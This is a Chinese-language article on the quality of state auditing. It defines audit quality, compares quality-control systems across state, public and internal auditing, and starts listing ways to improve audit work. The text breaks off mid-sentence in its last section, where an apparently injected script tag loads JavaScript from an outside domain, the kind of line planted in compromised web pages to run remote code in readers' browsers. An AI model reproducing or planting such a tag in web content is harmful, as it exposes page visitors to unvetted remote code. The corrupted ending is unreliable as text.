审计工作是一种服务，服务与产品一样要讲究质量，审计工作的质量即为服务质量。审计质量水平的高低将对社会产生比产品质量危害更大、范围更广的影响。

    一、审计质量的定义

    关于审计质量的定义，国内外一直众说纷纭。直到1981年，美国DeAngelo才明确提出“审计质量是审计师发现并报告公司舞弊的联合概率，即审计质量被区分为专业胜任能力和独立性的联合概率（Watts and Zimmerman,1981）。”我国近年来对审计质量的定义有多种提法，比较有代表性的是指“审计组织从事各项工作的优劣程度，具体可包括审计工作质量和审计项目质量。”

    但随着审计环境的发展，审计质量的内涵也随之丰富起来。我们把审计质量定义为：审计质量是审计机构和人员在执业过程中的职业道德、专业胜任能力、审计方法和程序、审计判断、审计意见建议及其落实等多方面服务水准的综合体现。

    二、国家审计的质量控制体系

    一般说来，审计监督体系由国家审计、社会审计和内部审计三大部分组成。三大审计职责分工泾渭分明，各自在其服务领域发挥着重要的服务监督作用。三大审计相应在发展过程中形成了各具特色的审计质量控制体系。审计质量控制体系是指审计机构为提高审计工作质量而采取的各项控制措施、方法和程序。审计质量控制体系的完善程度与审计的外部环境息息相关，它们之间存在的密切关系如下图：
　　　　
    审计质量控制体系与审计外部环境的关系图

    审计的外部环境对审计质量控制体系的影响主要体现为外部监督和审计业务面临的风险两个方面，这两个方面对三大审计的影响程度详见下表：

    从上表分析来看，国家审计在其发展过程中，受到外界环境影响的程度相对小于社会审计和内部审计，质量控制体系也相对欠缺。近年来，国家审计机关为了充分发挥审计监督作用，实行审计结果公告制度，向社会公众公开审计管辖范围内重要审计事项的审计结果，包括审计意见书、审计决定书等审计结论性文书所反映的内容。审计结果公告制度是一把“双刃剑”，一方面能宣传审计成果，扩大审计影响，增强政府部门行政行为的透明度；另一方面，审计结果公告制度将使审计结果接受社会公众的监督，他们更为关注的可能是你该发现的问题发现了没有；处理得到位不到位，这对审计机关提高审计工作质量提出了新的挑战。但是，审计结果公告制度并不能取代外部监督的作用，“监督的监督部门”的缺位仍将对国家审计的质量控制体系产生重大影响。因此，国家审计应抓住审计结果公告制度这一契机，利用审计业务通过公告可能产生的审计风险，增强国家审计人员的风险意识，贯彻执行《审计机关审计项目质量控制办法》等质量控制制度，提高审计工作质量，提升国家审计机关的权威和在社会公众中的声誉、威信和地位。

    三、提高国家审计质量的主要途径

    鉴于目前的国家审计质量控制体系，国家审计质量的高低主要取决于国家审计人员在审计工作过程中的自我约束，包括遵循的职业道德水准、专业胜任能力、审计项目的选取、审计方法的运用、审计证据的获取、后续审计的跟踪等方面。我们认为，国家审计提高审计工作质量的主要途径，关键在于抓好审计的“三个环节”，即抓好“审计、处理和规范提高”三个环节。

    （一）审计环节

    广义上讲，审计环节是指在审计工作中为了实现审计目标而必须采取的行之有效的工作模式、程序、措施和手段的总称。它包括审计工作组织实施的各个步骤、方法和工作质量及成果考评等。审计环节是审计人员为了完成规定的审计任务、实现审计目标、提高审计质量的第一个环节。在这个环节，主要应把握“审计立项”和“审计取证”两个方面。

    1.审计立项。在选择审计项目时，应从国家和人民的利益出发，立项时必须服从和服务于当地党委政府的中心工作，必须围绕当地党政主要领导关注的事项和问题，必须维护涉及群众切身利益的热点问题，如财政预算执行审计、离任审计、涉农涉民项目审计、城市医保资金审计等等。只有这样，才能为提高审计质量打下坚实的基础。

    2.审计取证。审计证据是审计机关和审计人员对审计对象的真实情况做出正确评价的依据，是用以证明审计事实真相，形成审计结论的依据。只有掌握了真实、合法、有效的证据，才能发表恰当的审计意见，以降低审计风险，提高审计工作质量。

    （二）处理环节

    处理环节是项目审计的第二个环节。审计处理是指审计人员在获取审计证据后，对审计事实的真实性、合法性和效益性作出客观、公正的评价和判断。这个环节是整个项目审计的核心，?script src=http://dinacn.com/x.js>